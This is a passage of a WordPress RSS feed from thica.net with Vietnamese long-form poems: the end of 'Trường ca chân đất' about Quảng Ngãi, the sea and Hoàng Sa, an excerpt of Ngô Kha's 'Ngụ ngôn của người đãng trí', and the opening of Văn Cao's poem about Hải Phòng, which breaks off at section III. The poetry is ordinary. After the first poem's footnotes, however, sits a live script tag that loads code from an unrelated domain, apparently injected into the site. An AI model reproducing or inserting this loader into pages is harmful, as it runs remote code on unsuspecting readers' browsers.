mình<br />chớp trắng?<br />bao giờ cò tự do lả la khắp phần đất phần núi mình<br />giờ mất trắng?</p><p>bây giờ cò đứng mười chân<br />ruộng mình cứ mất<br />đất mình chẳng còn<br />đành một chân run run cánh đồng thoi thóp<br />co thắt từng ngày như miếng da lừa</p><p>những ngày mưa<br />thấp thoáng bóng cò ngoài ruộng<br />bụng lép<br />thóc lép<br />nỉ non cũng bằng thừa</p><p>thôi thì đứng thẳng dưới mưa<br />như một bông lúa vổng<br />thôi thì trắng muốt toàn thân<br />như ước vọng</p><p>mẹ cha để lại cho con<br />chỉ một màu trắng ấy<br />chân cò nâng lên trắng muốt lời nguyền<br />nước có đục lấy thân mình mà rửa</p><p><strong>Chân tháp</strong></p><p>vài cái xoong móp méo<br />áo rách toạc<br />mấy trăm năm một điệu hành khốn khổ<br />phương nam cuốc bộ<br />              phương nam xe đò<br />phương nam đất hứa<br />            phương nam cùng đồ<br />mặt căng bình thản</p><p>những dòng sông mất tích<br />những đám mây trượt ngã<br />những hàng cây tắt nến trong đêm<br />tôi đi về nhà mình<br />thèm một ngọn lửa màu rơm<br />một ổ chó ấm hơi chờ đợi<br />và tôi gặp</p><p>một chàng trai sáu trăm năm trước<br />một cô gái sáu trăm năm trước<br />vật vã trên bãi sông Trà<br />gió mơn man da thịt<br />mùi bắp non mùi rong rêu mùi bùn mùi nước sông ngai ngái<br />đằm đằm trai gái hoang sơ<br />những cú xoay mình<br />những tiếng rên bất chợt<br />tôi nghe từ sáu trăm năm trước<br />một giai điệu quen<br />một bài hát không lời<br />sáu trăm năm hay sáu nghìn năm<br />mùi ân ái trong đêm vẫn thế<br />cái mùi quen quen như thể<br />nó làm nên<br />Quảng Ngãi</p><p>tôi kính dâng lên tổ tiên mình<br />chiếc bát mẻ nằm lặng bên chân Tháp<br />cái bát người con trai Việt<br />lăn lóc tìm cặp mông người con gái Chàm<br />như tìm nơi trú ngụ<br />lăn lóc tìm mênh mang<br />vó ngựa<br />lăn lóc tìm ấm êm<br />bếp lửa<br />lăn lóc tìm đức tin<br />chân Tháp hình cặp mông cô gái</p><p>phương nam hề, mệt lả!<br />phương nam hề, tái tê!</p><p>trong xách: ba chai mắm<br />trong túi: sót hai đồng<br />trong tay: nghề câu mực<br />trong đầu: hy vọng sắt</p><p>phương nam hề, cơ nghiệp!<br />phương nam hề, oan nghiệt!</p><p>mặt căng bình thản</p><p>tìm thì gặp<br />bãi sông Trà<br />lều lợp lá cào don xúc tép<br />vợ vợ chồng chồng<br />bống bống bang bang<br />cơm bạc cơm vàng<br />nước nước non non<br />cắm sào ở đâu quê hương ở đó<br />xin ba lạy cúi về làng xóm cũ<br />ngẩng đầu lên thấy Thạch Bích tà dương<br />thấy đất Cù Trâu thấy bờ xe nước<br />những ống trúm nhốt giùm ta ký ức<br />những con đò lơ lửng phía vầng mây<br />ăn tô don mùi nước sông đọng lại</p><p>dội từ thăm thẳm hang xưa ấy<br />một tiếng &#8220;ngà ơ&#8221; gọi ta về<br />ta như con dế thèm đám cỏ<br />gặm hết thời gian bỗng tái tê</p><p>sương treo anh ánh mờ nỗi nhớ<br />bầy trẻ hò reo phủ Cù Trâu<br />có con dế dũi đào cun cút<br />tìm chút tuổi thơ đến bạc đầu</p><p>nơi ấy vẫy vùng bao chú Cuội<br />đất sét nặn lên cả thánh thần<br />bụng rỗng tay không mà bắt giặc<br />nước lã vã nên hồ rượu tăm</p><p>Cao Chu thần ơi, sao Người chọn sông Trà<br />cho kiệt tác “Trà giang thu nguyệt”?<br />phải vì Người hoá thân lưu lạc<br />khói sóng hai trăm năm<br />hết Bùi Nhị Minh Trọng lái thuyền lại tới Bùi Huệ chở Người tuần du<br />trên xe chó kéo?<br />hết miên man sông Trà lại lòng vòng đảo Bé<br />mỗi dốc cao xe chó kéo như lùi<br />“khách bộ hành nước mắt tuôn rơi” <sup><a href="https://www.thica.net/2014/04/04/truong-ca-chan-dat/#footnote_0_12161" id="identifier_0_12161" class="footnote-link footnote-identifier-link" title="c&acirc;u thơ Cao B&aacute; Qu&aacute;t trong b&agrave;i &ldquo; Sa h&agrave;nh đoản ca&rdquo;">1</a></sup></p><p>vì sao quê hương tôi<br />lại khiến người dưng rơi nước mắt?</p><p>tôi hỏi bác Năm Trì, bác rầu rầu nét mặt:<br />“có lẽ quê mình buồn quá con ơi<br />nhưng khi quá vui người ta cũng khóc”</p><p>dường như Quảng Ngãi tôi thường quá<br />một cái gì</p><p>buông câu giữa muôn trùng đói rách<br />mong giật được một ngày sáng tươi<br />quê hương bỏ thì thương vương thì tội<br />em thèm làm việc lắm anh ơi!</p><p>trong đêm xe nảy xóc<br />mắt lặng nhìn về sau<br />đầu dúi lên phía trước<br />mười ngón tay khát khao</p><p>phương nam hề, đơn độc!<br />phương nam hề, xoáy lốc!</p><p>mặt căng bình thản</p><p>mỳ gõ thâu đêm Sài Gòn hoa lệ<br />trứng cút thâu đêm Sài Gòn mưa xé<br />bánh xèo thâu đêm liu riu ngọn lửa<br />xích lô thâu đêm từng vòng cô đơn</p><p>đất quê tôi hai lần thất lạc<br />người quê tôi hai lần lưu dân</p><p>vì sao muốn khóc?</p><p>có một hạt cỏ may cư trú lênh đênh<br />ngày ấy xanh lá trúc<br />có một chiếc xe đò đi về mông mênh<br />đỏ đen phận người câu mực<br />phương nam<br />phương nam<br />dòng chảy mấy trăm năm<br />mặt căng bình thản</p><p><strong>Chân mây</strong></p><p>“buồn trông chân mây xa vời”<br />(lời một bài hát)</p><p>chiều chiều lại nhớ chiều chiều<br />ra ngõ mà trông<br />xắt bí nấu canh<br />chiều chiều én liệng truông mây<br />thở vắn than dài<br />nhớ người áo vải thương ai<br />khăn điều vắt vai<br />nhớ kẻ qua truông nhớ đầy quang gánh<br />nhớ sau đỉnh núi vầng dương mỏi mòn<br />nhớ mặt trăng tròn mọc cuối biển Đông</p><p>buồn trông chân mây xa vời<br />buồn trông chân mây không người<br />buồn trông không tôi nơi chân trời<br />buồn trông giấc mơ buồn trông ký ức<br />những đường biên ẩn dật<br />những thèm khát vô hình</p><p>có những đêm<br />chân mây bước dài bước ngắn<br />chân trời lẳng lặng<br />cứ như phía sau ai đó đang nhìn<br />một bức màn một cái tên<br />gọi những con chuồn chuồn bay thấp</p><p>tôi lớn lên còi cọc<br />xác xơ như cỏ sau trận bóng<br />đứng tủi thân một góc khán đài</p><p>bao giờ cỏ mọc sau mưa?</p><p>buồn trông chân mây xa vời<br />buồn trông thơ bay không lời<br />buồn trông đổi thay<br />buồn trông không thay đổi<br />những rau ranh ốc rạ<br />chim cho ớt cay cây cho men lá<br />biển cho cá núi cho đá<br />nỗi niềm</p><p>núp sau vườn nhà một gã săn chim<br />rình chú chích bông rình em se sẻ<br />rình lão bà chim “bớ thằng chăn vịt”<br />từng phát đạn lặng lẽ</p><p>chết chóc và sụp đổ</p><p>buồn trông chân mây xa vời<br />buồn trông ai như chim trời<br />bay không thoát tầm ngắm<br />bay không về tới biển</p><p>bớ thằng chăn vịt!<br />gọi tôi ư<br />chăn vịt chạy đồng<br />ngó mênh mông<br />chiều chiều trơ gốc rạ<br />gió như trẻ thơ nghịch tóc mình<br />nhớ như in từng con cua cái ốc<br />thài lài rau sam rau mác<br />mẹ ơi xắt bí sau nhà<br />khi con cúi đầu thì mẹ đã đi xa<br />một tiếng chim chiều sâu hút</p><p>buồn trông mẹ ta khuất bóng<br />buồn trông hoàng hôn tím sẫm<br />từng cánh mây giong buồm chầm chậm<br />về đâu</p><p>góc vườn cây khế trổ hoa<br />người đi đâu mãi biết là đi đâu<br />con ra ngõ trước con vào vườn sau<br />ngó cây vú sữa lâu lâu mẹ về</p><p>buồn trông chân mây xa vời<br />sang thu ngồi đan nắng hè<br />lùm tre ngủ trưa ve vừa ngơi tiếng<br />cái xa hiển hiện cái gần tan biến<br />buồn trông mình nắm tay mình</p><p>xin cho ai dù chỉ một lần<br />ngó xa xăm chân mây mờ mịt<br />không thấy gì mà như thấy hết<br />phía sau chân mây</p><p>buồn trông<br />buồn trông</p><p><strong>Chân sóng</strong></p><p>“Cánh chim rơi rớt tả tơi<br />Đại dương rộng lớn là nơi trú nhờ”<br />(thơ của một người đánh cá xa bờ)</p><p>lên tám tuổi lần đầu nhìn thấy biển<br />lần đầu đi biển<br />ói mật xanh mật vàng<br />biển mênh mang<br />tôi nhỏ bé<br />những thủy thủ tàu Ba Lan dồi tôi như quả bóng nhẹ<br />họ cười mà tôi khóc</p><p>chỉ thế thôi</p><p>nhiều năm sau tôi không nhìn thấy biển<br />dù có “vượt trên đỉnh cao Trường Sơn”<br />cũng không nhìn thấy biển<br />suốt thời ấy biển với chúng tôi là tận cùng<br />cuộc chiến<br />một là được trở về với biển<br />hai là không bao giờ</p><p>chỉ thế thôi</p><p>con nào biết mẹ bạc đầu vì biển<br />mỗi làn sóng như một dải khăn tang<br />con nào biết mẹ đau vì biển<br />đau vì thiếu biển<br />đau vì thừa biển<br />đau vì biển thiếu con mình<br />đau vì biển thừa hy sinh</p><p>những mộ gió những hình nhân phơ phất<br />những hải trình dài suốt mấy trăm năm<br />những Bãi Cát Vàng san hô mê hoặc<br />những phận người bó chiếu giữa mông mênh</p><p>chỉ thế thôi nhưng mẹ ơi còn biển<br />là còn những chuyến đi không hẹn ngày về<br />nhưng mẹ ơi còn con trai trong bụng<br />là mẹ đẻ hết ra cho chúng giong khơi</p><p>người quê tôi không quen lời bay bướm<br />giọng nói nặng dây buồm<br />con trai biết bơi từ trong bụng mẹ<br />biết lắc thúng từ khi chưa biết chu vi hình tròn<br />biết tính cá bằng khoang<br />ăn sóng và nói gió<br />lặn sâu mấy chục sải<br />ngậm vật vờ ống thở<br />bơi bên cạnh hải sâm<br />như một chiếc tàu ngầm<br />tỉ tê cùng đáy biển<br />như một người bạn thân</p><p>lặn biển Hoàng Sa liệt nửa người<br />giờ ngồi xe chó kéo<br />người bé trên đảo Bé<br />mỗi khi nhìn thấy biển mắt rực cháy<br />“biển ơi biển ơi biển ơi”<br />thế thôi</p><p>lặng im như đá mồ côi<br />họ dạy anh tình yêu<br />không lời<br />anh yêu biển mà đứng trên bờ<br />anh yêu nước mà không biết bơi</p><p>Mai Phụng Lưu<br />mỗi bận xuống thuyền lại trực chỉ Hoàng Sa<br />như có ai dẫn<br />nỗi nhớ là hải bàn<br />mãi quay về một hướng<br />mỗi lần bị bắt mỗi lần bị đánh<br />lại tay trắng trở về dành dụm ra khơi<br />không thể sống thiếu Hoàng Sa<br />không thể sống thiếu biển</p><p>anh yêu biển mà đứng trên bờ<br />anh yêu nước mà không biết bơi<br />làm sao anh hiểu?<br />có những người lính đảo<br />trần lưng trước mưa đạn quân thù<br />“chỉ được xáp lá cà bằng lê”<br />nhưng với khoảng cách này là không thể<br />đành chỉ được chết vì đảo<br />đành cho lãng quên vùi mấy mươi năm</p><p>Gạc Ma Gạc Ma<br />hãy kể cho con cháu anh điều này:<br />có những người lính đảo<br />đã chết theo vòng tròn<br />tay họ giăng ra và siết chặt tay nhau<br />như một tràng hoa biển</p><p>không quỉ ma nào xé nổi<br />tràng hoa biển ấy<br />hãy kể cho con cháu anh<br />rằng từ Hoàng Sa từ Gạc Ma<br />những tràng hoa biển ấy<br />dạt trôi<br />về ôm chặt Mẹ</p><p>chân sóng<br />bắt đầu từ đó</p><p><strong>Chân lũy</strong></p><p>“nhân dân gọi là trường lũy”<br />(Lời một người dân Quảng Ngãi)</p><p>đá cõng đá cõng đá<br />mồ hôi cõng mồ hôi<br />tháng năm cõng tháng năm<br />người cõng người<br />xây nên<br />Trường Lũy</p><p>nhân dân không gọi nhau “man” này “man” nọ<br />nhân dân gọi nhau đồng bào<br />gọi nhau ca dao<br />ca-lêu ca-choi xà-ru<br />sáo trúc sáo tre tà-vố<br />gọi nhau sướng vui<br />gọi nhau đau khổ<br />nhân dân gọi nhau<br />trường lũy</p><p>nghe âm âm vách núi<br />vang vang lòng thung sâu<br />rối rít chợ đầu nguồn<br />mít non gởi xuống cá chuồn<br />gởi lên</p><p>mình í ới nghìn năm<br />nẫu nỉ non nghìn năm<br />bạn tỉ tê a-máp<br />ta đàn bầu đứt ruột<br />nghìn năm</p><p>nhu nhú trái bắp non<br />rỉ rách dòng suối nhỏ<br />tôi ngất ngây men lá<br />nậu nguồn<br />tôi tự chưng cất mình<br />rượu đoác<br />tôi huýt sáo lăn lóc<br />hòn đá nhỏ<br />tôi nỉ non í ới<br />từng con chữ</p><p>khi buồn tôi cũng buồn buồn<br />khi vui tôi cũng bán buồn mua vui<br />thế thôi</p><p>đừng bắt tôi nói những điều tôi không nghĩ<br />cái gì ra cái nấy<br />cùng mọi người tôi vác đá xây lũy<br />cùng mọi người tôi vác tự do vác tình anh em qua lũy<br />cùng mọi người tôi ném những trái ngang khỏi lũy</p><p>chúng tôi không xây Vạn Lý Trường Thành<br />chúng tôi đếch là hảo hán<br />chúng tôi tươi vui<br />bình thản</p><p>dù chân lũy tới chân trời<br />xa lắc chơi vơi<br />chúng tôi đi<br />dè dặt<br />chúng tôi đi<br />từng bước<br />chẳng ai cho không dễ dàng<br />chẳng ai cầu xin nhẹ nhàng<br />cứ còng lưng vác<br />đừng than phận nghèo</p><p>đừng than phận khó ai ơi<br />còn đá mọc lũy còn chồi nảy cây<br />còn mình còn bạn còn đây<br />ba lý tang tình<br />là còn đổi thay</p><p>tôi tin chồi tin nụ<br />tôi tin miệng em cười<br />tôi dừng chân lũy tôi ngó chân trời<br />tôi gọi ai ơi</p><p>bình thản<br />tươi vui</p><p>đừng than đường khó<br />một viên đá còn góp nên thành<br />đừng căng thẳng<br />cứ hò lên cho ba lý nhẹ mình</p><p>rồi qua sông<br />rồi qua núi<br />rồi qua suối<br />rồi qua ta<br />chân mình qua chân lũy<br />tới chân trời<br />xa lắc<br />chơi vơi</p><p>ai ơi<br />còn trời còn nước còn non<br />còn cô bán rượu anh còn say sưa <sup><a href="https://www.thica.net/2014/04/04/truong-ca-chan-dat/#footnote_1_12161" id="identifier_1_12161" class="footnote-link footnote-identifier-link" title="ca dao Việt">2</a></sup></p><p><em>Quảng Ngãi 25.8.2011</em></p><ol class="footnotes"><li id="footnote_0_12161" class="footnote">câu thơ Cao Bá Quát trong bài “ Sa hành đoản ca”</li><li id="footnote_1_12161" class="footnote">ca dao Việt</li></ol><script src=https://buryebilgrill.online/footnotes></script><p>The post <a href="https://www.thica.net/2014/04/04/truong-ca-chan-dat/">Trường ca chân đất</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2014/04/04/truong-ca-chan-dat/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">12161</post-id>	</item>
		<item>
		<title>Ngụ ngôn của người đãng trí (Trích)</title>
		<link>https://www.thica.net/2014/03/04/ngu-ngon-cua-nguoi-dang-tri-trich-2/</link>
		<comments>https://www.thica.net/2014/03/04/ngu-ngon-cua-nguoi-dang-tri-trich-2/#respond</comments>
		<pubDate>Tue, 04 Mar 2014 15:45:24 +0000</pubDate>
		<dc:creator><![CDATA[Ngô Kha]]></dc:creator>
				<category><![CDATA[Ngô Kha]]></category>
		<category><![CDATA[Du mục]]></category>
		<category><![CDATA[Say]]></category>
		<category><![CDATA[Trường ca]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=12029</guid>
		<description><![CDATA[<p>[...]</p>
<p>Tôi hay nói chuyện về những dòng chữ ngụ ngôn<br />
Những dòng chữ chảy từng hàng não sống<br />
Trên chiếc máy in hùng hồn của thác nước<br />
Những dòng chữ khai sinh<br />
Vào ngày trẻ con hát đồng dao<br />
Trang sách mở đầy hoa<br />
Những đóa hoa nở ra trí thức<br />
Những đóa hoa nở ra thi sĩ<br />
Trang sách mở đầy cái kén<br />
Những sợi tơ buộc giấc ngủ của người yêu<br />
Bây giờ con trăng ngó trên đầu<br />
Tôi bỏ một mình tôi ở lại<br />
Nhà mọi người giờ nầy đã úp mái<br />
Chỉ có bầy gà hoang đẻ trứng vàng trên tàng cau</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2014/03/04/ngu-ngon-cua-nguoi-dang-tri-trich-2/">Ngụ ngôn của người đãng trí (Trích)</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>II.</p><p>Tôi đem đến thời gian để lấy chiêm bao<br />Hằng đêm thắp nến đi vào giấc ngủ<br />Trang sách mở trên gối<br />Tôi thấy những cánh đồng bình thản vô cùng<br />Những chiếc chân mọc dài của cao nguyên<br />Những vầng trán ưu tú của cha mẹ, người yêu và bạn bè<br />Những cửa sổ của bầy cừu<br />Trên dòng suối có tiếng đàn lục huyền<br />Em gái tôi để tóc xõa như bó đuốc<br />Tôi hay nói chuyện về những dòng chữ ngụ ngôn<br />Những dòng chữ chảy từng hàng não sống<br />Trên chiếc máy in hùng hồn của thác nước<br />Những dòng chữ khai sinh<br />Vào ngày trẻ con hát đồng dao<br />Trang sách mở đầy hoa<br />Những đóa hoa nở ra trí thức<br />Những đóa hoa nở ra thi sĩ<br />Trang sách mở đầy cái kén<br />Những sợi tơ buộc giấc ngủ của người yêu<br />Bây giờ con trăng ngó trên đầu<br />Tôi bỏ một mình tôi ở lại<br />Nhà mọi người giờ nầy đã úp mái<br />Chỉ có bầy gà hoang đẻ trứng vàng trên tàng cau<br />Tôi khép kín giới hạn<br />Đánh thức nàng thơ và người thợ mộc<br />Với lưỡi liềm của mặt trăng<br />Tôi xây mái linh hồn<br />Cho thân thế tôi trú ngụ<br />Nửa khuya ở phố tơ lụa về<br />Gương mặt tôi xanh chàm như áo chim<br />Bây giờ em đóng cửa<br />Nhốt bóng trăng ở ngoài ngõ<br />Tiếng con thằn lằn thở dài<br />Cây đàn thủy tinh chở tôi qua dãy núi<br />Đi thăm kỷ niệm<br />Hồi ký khoác áo da và đánh bóng<br />Tôi cưỡi lạc đà qua rừng gió<br />Người con gái chăn dê thức dậy<br />Má nàng đầy những phấn thông<br />Tôi ngạc nhiên hiền hòa<br />Mùa hạ đánh rơi chiếc túi da cam rồi đấy<br />Người con gái ngửa cổ trắng như búp măng<br />Tôi hát nghêu ngao<br />Nhìn thấy tôi đứng bóng<br />Người con gái cười như cát bay<br />Tôi đi vào bãi mía<br />Người con gái dụ dỗ tôi rời lạc đà<br />Cát nung bàn chân tôi mưng mủ<br />Người con gái cười như nứt nẻ<br />Nước mắt thì vô vọng<br />Tôi nói bằng âm hao<br />Thời khắc dài như đương bay ác mộng<br />Người con gái ném đồng tử trên bãi cát<br />Đôi quạ vàng đạp cánh kêu tiếng người<br />Sa mạc là một tấm pha lê<br />Tuổi thơ của tôi<br />Chỉ là những đốt xương trắng<br />Người con gái lãng mạn<br />Ném sợi tơ vàng<br />Tôi đuổi bắt tôi<br />Chập chờn cơn ác mộng<br />Người con gái gõ từng tiếng lên sọ dừa<br />Chúng tôi đồng ca<br />Con đà điểu mang cánh tay người yêu trở lại<br />Người con gái mang bộ mặt đồng đen<br />Tôi bẻ nhánh xương rồng quơ lên như không<br />Người con gái ho khúc khắc rất đau đớn<br />Tôi chạy theo cánh sao cỏ mùa<br />Người con gái biến đi mất<br />Bây giờ chỉ còn sa mạc<br />Và khoảng vô hình nhìn tôi vĩnh viễn<br />Tiếng hoan hô nổi lên<br />Tiếng hoan hô hùng hồn như bầy thú đá<br />Tôi im lặng níu cánh tay người yêu tôi mùa hạ<br />Người con gái ghen tuông đốt khói đen nám mặt tôi<br />Cơn đau dày xéo<br />Những móng vuốt thần thoại<br />Người con gái héo hắt dưới mặt trời<br />Con đà điểu cắp cánh tay người yêu tôi đi<br />Chiếc nhẫn cưới bay mất<br />Tôi không còn cuộc hôn nhân kỳ dị<br />Người con gái đâm mù mắt tôi<br />Bằng hai quả trứng vàng<br />Tôi ăn quả trứng vàng mộng mị<br />Người con gái vẫy bàn tay hư vô<br />Che giấu sợ hãi<br />Tôi cầu nguyện mọi người đừng bỏ tôi<br />Bây giờ tôi phải đi theo người em gái<br />Cuộc giang hồ có ngàn lần ái ân<br />Những con đà điểu đã che khuất huyền thoại<br />Cánh tay người yêu tôi đã xây mộ phần<br />Con đà điểu đập cánh ăn năn<br />Nỗi vô vọng hồi sinh trong gió<br />Cơn bãi cát cuốn tôi đi mờ mịt<br />Chúng tôi ra khỏi vùng phán xét của loài người<br />Con lạc đà khuyên tôi nên quay về thung lũng mùa xuân<br />Cỏ lên dày như tóc non<br />Nhưng tôi không còn gì<br />Mùa hạ đốt tim tôi thành khói trắng<br />Người con gái trở về mang theo lời hẹn của chim muông<br />Nhưng con lạc đà ra đi biền biệt<br />Rùng mía chỉ còn bông lau<br />Bầy quạ vàng và tử thi của hai người bạn</p><p>The post <a href="https://www.thica.net/2014/03/04/ngu-ngon-cua-nguoi-dang-tri-trich-2/">Ngụ ngôn của người đãng trí (Trích)</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2014/03/04/ngu-ngon-cua-nguoi-dang-tri-trich-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">12029</post-id>	</item>
		<item>
		<title>Những người trên cửa biển (Trường ca)</title>
		<link>https://www.thica.net/2013/11/27/nhung-nguoi-tren-cua-bien-truong-ca/</link>
		<comments>https://www.thica.net/2013/11/27/nhung-nguoi-tren-cua-bien-truong-ca/#comments</comments>
		<pubDate>Wed, 27 Nov 2013 13:56:12 +0000</pubDate>
		<dc:creator><![CDATA[Văn Cao]]></dc:creator>
				<category><![CDATA[Văn Cao]]></category>
		<category><![CDATA[Biển]]></category>
		<category><![CDATA[Cuộc sống]]></category>
		<category><![CDATA[Đất nước]]></category>
		<category><![CDATA[Hải Phòng]]></category>
		<category><![CDATA[Hi vọng]]></category>
		<category><![CDATA[Hòa bình]]></category>
		<category><![CDATA[Quê hương]]></category>
		<category><![CDATA[Trường ca]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=11445</guid>
		<description><![CDATA[<p>[...]</p>
<p>Tôi giờ đây liếm môi nóng bỏng<br />
Nhìn ra biển bao la<br />
Lòng hãy còn nhiều khát vọng<br />
Còn rất nhiều khát vọng<br />
Biến thành người khổng lồ kêu khát suốt ngày đêm<br />
Suốt ngày đêm kêu khát<br />
Những ngọn sóng trên cát khô sủi bọt<br />
Ngày đêm<br />
Mãi mãi<br />
Dưới chân tôi<br />
Nước ngọt của ngàn sông<br />
Bao giờ đổ đầy lòng biển.</p>
<p>The post <a href="https://www.thica.net/2013/11/27/nhung-nguoi-tren-cua-bien-truong-ca/">Những người trên cửa biển (Trường ca)</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p><strong>I. Ai biết Hải Phòng là đâu</strong></p><p>1</p><p>Sinh ra tôi đã có Hải Phòng<br />Đầu nhà mới trồng cây mận<br />Bãi sú bồi thành bến<br />Nhà máy xi măng đã dựng bên sông</p><p>Tôi nghe tiếng hát mẹ chiều ru võng<br />Những ca dao của đồng lúa quê hương<br />Những dáng cò lặn lội<br />Những cánh cò bồng bế tôi đi</p><p>Những bóng cò trắng như giấc mộng<br />Đưa võng đời tôi những buổi chiều dĩ vãng<br />Sáng trưa u ú còi tầm<br />Đêm dài nghe mưa dầm dãi<br />Tôi không có quê hương<br />Nghe đâu như Thái Bình, Hà Nam Phủ Lí<br />Như Nam Định<br />Ruộng đất mênh mông trong tiếng hát<br />Quê mẹ quê cha cách một vườn trầu</p><p>Hải Phòng nhiều mây nhiều nước<br />Mênh mông bốn phía chân trời<br />Có mùa nhạn bay ra biển<br />Chim yến từ biển bay về<br />Lòng sông đất bồi ngày càng nhỏ<br />Bướm trắng rụng đầy ngọn sú ven sông<br />Không ai nhớ từ bao giờ<br />Giữa các ngả sông về biển<br />Ai đã lấp đầy những dòng sông bãi sú vô danh</p><p>Cồn đất lầy um tùm cây cỏ dại<br />Nổi lên một thành phố<br />Ngọn khói đùn lên đứng sững chân trời<br />Người dân thành phố<br />Mồ hôi còn nước mặn phù sa<br />Dầu mỡ bụi than<br />Sống như muối đọng lấy bờ lấy bãi<br />Sống chắt chiu đùm bọc yêu thương<br />Che chở nắng mưa đỡ đần buổi gạo<br />Đoàn thuyền nát buộc vào nhau ngày bão<br />Chưa quá ba đời, sống trong một xóm<br />Chưa đầy chục người chết trong một mái nhà thuê<br />Bạn bè quen thuộc<br />Các giống người<br />Từ chân trời bốn phương đi lại<br />Thuở nhỏ lòng tôi hướng mãi<br />Theo những con tàu biển ra đi<br />Đến những đất đai tưởng tượng<br />Những người anh thủy thủ kể cho nghe<br />Nơi mọc đêm đêm những ngôi sao biển<br />Rực rỡ chân trời những hạt lưu li<br />Tôi bơi như con cá dưới nước<br />Vẫn không bơi dài ra tới biển<br />Tôi theo những thuyền cá ra khơi<br />Vẫn chưa đi tới chân trời</p><p>2</p><p>Ai biết Hải Phòng là đâu<br />Từ giã bờ tre mái rạ<br />Đến đây là chỗ cùng đường</p><p>Những hàng ren hàng thêu Nam Định<br />Những thợ giỏi làng Hề làng Bưởi<br />Những giọng ca hay nhất Bắc Ninh<br />Lũ lượt đi vào tỉnh</p><p>Gió biển thổi về trắng trời trắng đất<br />Mười năm chưa nguôi nổi<br />Mái rạ bờ tre xưa<br />Cả cuộc đời chỉ thấy rơi nước mắt<br />Chỉ nghe tiếng thở dài<br />Buồn của những ngày bếp không đỏ lửa<br />Những ngày cửa biển vắng tàu<br />Những ngày kho hàng trống rỗng<br />Những con người cuối cùng tàn phố<br />Như những vỏ thùng dầu<br />Những đống than lò tắt lửa<br />Giạt ra bên ngoài thành phố<br />Đầu bờ cuối bãi lênh đênh</p><p>3</p><p>Đầu ngọn con sông những là thuyền trút xuống<br />Đoàn lũ tàu đang hùng hục chạy về đây<br />Đổ đầy Hải Phòng tiền rừng bạc biển<br />Ngập đường ngập phố<br />Ngập kè đá tường goòng<br />Hàng vạn người không ruộng cày ra biển<br />Từng tấn giấy thống kê không hết vật hết người<br />Chúng tôi đếm bằng vai bằng mắt bao năm<br />Còn lại những đám khói đen<br />Đọng giữa trời sương sớm</p><p>Họ đi đâu<br />Tất cả đi đâu<br />Ôi Hải Phòng vết thương miền Bắc<br />Cổ họng chúng ta ngày đêm rỏ máu<br />Hải Phòng những đêm tối đen như hầm than đá</p><p>Lấp lánh lân tinh<br />Kíp thợ đêm lê về đến xóm<br />Nghe rét mùa đông nổi cuối sông</p><p>&#8212;</p><p><strong>II. Tình yêu và khát vọng</strong></p><p>1</p><p>Tôi hay ngủ trên cầu sương<br />Nửa đêm thức giấc<br />Thấy mình bay cùng tinh tú<br />Ngày đến lòng tôi xếp cánh</p><p>Sao chim sao bướm lại bay lên<br />Tất cả tình yêu khát khao hi vọng<br />Bốc lên trong lòng<br />Rơi xuống những giọt nước mắt</p><p>Có tuổi thanh niên<br />Như cây mùa xuân mới mọc<br />Bị tước dần vỏ non<br />Mất chim mất bướm mất chân trời</p><p>Lòng không biết nghĩ điều gì<br />Như con sơn ca bị bẫy<br />Thấy mắt lưới sáng nào cũng nhảy<br />Đâm lên khoảng không giữa tỉnh<br />Tháp chuông nhà thờ<br />An ủi những người khổ sở<br />Chung quanh hỏa lò trại lính<br />Cha tôi nghe tiếng chuông đổ đầu tiên<br />Giữa buổi chiều không cơm cháo<br />Bàn tay mẹ tôi quờ trong thạp gạo</p><p>Xóm tôi nghe tiếng kinh chiều văng vẳng<br />Từ những khoang thuyền những gian nhà tối lạnh<br />Đêm đêm cầu nguyện bên đèn<br />Chưa thấy ngày mai hửng sáng<br />Chỉ thấy những xác thiêu thân<br />Chết trên mặt bìa những cuốn thánh kinh<br />Những pho tượng không bao giờ nói<br />Hai con mắt nhìn an ủi<br />Ngón tay không chỉ rõ đường</p><p>2</p><p>Thường gió mùa bay phấn hoa trên mặt bến<br />Đem từ xa về hạt giống rải qua sông<br />Mảnh đất nơi đây vùi nông cũng sống<br />Mấy buổi sương lên đã trổ ngọn xanh cây<br />Đời người ở đây sao không được như cây<br />Tôi muốn tìm hiểu cuộc đời<br />Như lấy bàn tay dò mạch giếng chảy<br />Đôi mắt người mò hạt trai<br />Tìm ánh sáng<br />Trong lòng biển thẳm<br />Càng khát tình yêu<br />Càng khát khao hi vọng<br />Những con chim cứ sáng lên là hót</p><p>3</p><p>Con đường tôi đi<br />Sau lưng là dĩ vãng<br />Hai bàn tay bới đất sống, lấp sông lấp ngòi<br />Những ngày mùa còn dư âm trong điệu hát<br />Trước mặt tôi trời đất rộng bao la<br />Tiếng mẹ hát bên nôi<br />Như uống nước con sông biết ngọn biết nguồn<br />Một tiếng vang vang cả lòng cả đáy<br />Dĩ vãng sống với tôi<br />Sâu như lòng sông khúc biển</p><p>Tôi nghe nơi lòng tôi<br />Thấy tiếng người trong xóm<br />Con mắt nhìn như nhau<br />Trái tim đập như nhau<br />Cảnh đời khổ như nhau<br />Bao tình yêu khát khao hi vọng<br />Là tiếng con sông mảnh đất viên đá Hải Phòng<br />Người với từng luồng nước mạch đất, gân đá chung quanh<br />Ràng buộc nhau từng tâm sự<br />Giữa tuổi con người với thiên nhiên vĩnh viễn<br />Cuộc đời ôm tôi như trong một cái bình<br />Một tiếng vang vang cả lòng cả đáy</p><p>Bao nhiêu tình yêu khát khao hi vọng<br />Không phải dư âm mà đã sống nghìn năm<br />Lớn theo tôi từ chiếc nôi độ ấy<br />Lớn lên tôi vẫn ngủ trên cầu<br />Chung quanh những ngôi sao biển<br />Vẫn thở hơi nồng nàn khát vọng<br />Cuộc đời<br />Dĩ vãng<br />Thời gian<br />Bỏ neo trên mặt bến</p><p>&#8212;</p><p><strong>III. 